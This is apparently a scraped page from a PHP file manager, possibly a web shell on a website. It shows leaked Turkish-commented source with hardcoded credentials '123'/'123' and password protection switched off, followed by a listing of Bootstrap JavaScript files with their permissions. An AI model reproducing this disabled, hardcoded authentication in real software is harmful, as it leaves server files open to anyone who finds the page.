# Konfigurasyon $sayfaSifreleme ='0'; # 1 acik , 0 kapali $kullaniciAdi = '123'; $sifre = '123'; # yetki kontrol fonksiyonu function yetkiKontrol($kullaniciAdi,$sifre) { if(empty($_SERVER['PHP_AUTH_USER']) || empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_USER'] != "$kullaniciAdi" || $_SERVER['PHP_AUTH_PW'] != "$sifre") { header('WWW-Authenticate: Basic realm="x"'); die(header('HTTP/1.0 401 Unauthorized')); } } # Sayfa Sifreleme aciksa if($sayfaSifreleme =='1') { # Veri ve sifre kontrolu yetkiKontrol($kullaniciAdi,$sifre); } ?>
Name | Size | Modified | Perms | Actions | |
---|---|---|---|---|---|
chatify | --- | November 07 2024 11:40:46. | 0755 | ||
bootstrap.bundle.js | 197.44 KB | November 07 2024 11:40:46. | 0666 | ||
bootstrap.bundle.js.map | 318.98 KB | November 07 2024 11:40:46. | 0666 | ||
bootstrap.bundle.min.js | 66.16 KB | November 07 2024 11:40:46. | 0666 | ||
bootstrap.bundle.min.js.map | 267.45 KB | November 07 2024 11:40:46. | 0666 | ||
bootstrap.js | 116.15 KB | November 07 2024 11:40:46. | 0666 | ||
bootstrap.js.map | 190.79 KB | November 07 2024 11:40:46. | 0666 | ||
bootstrap.min.js | 47.80 KB | November 07 2024 11:40:46. | 0666 | ||
bootstrap.min.js.map | 158.20 KB | November 07 2024 11:40:46. | 0666 |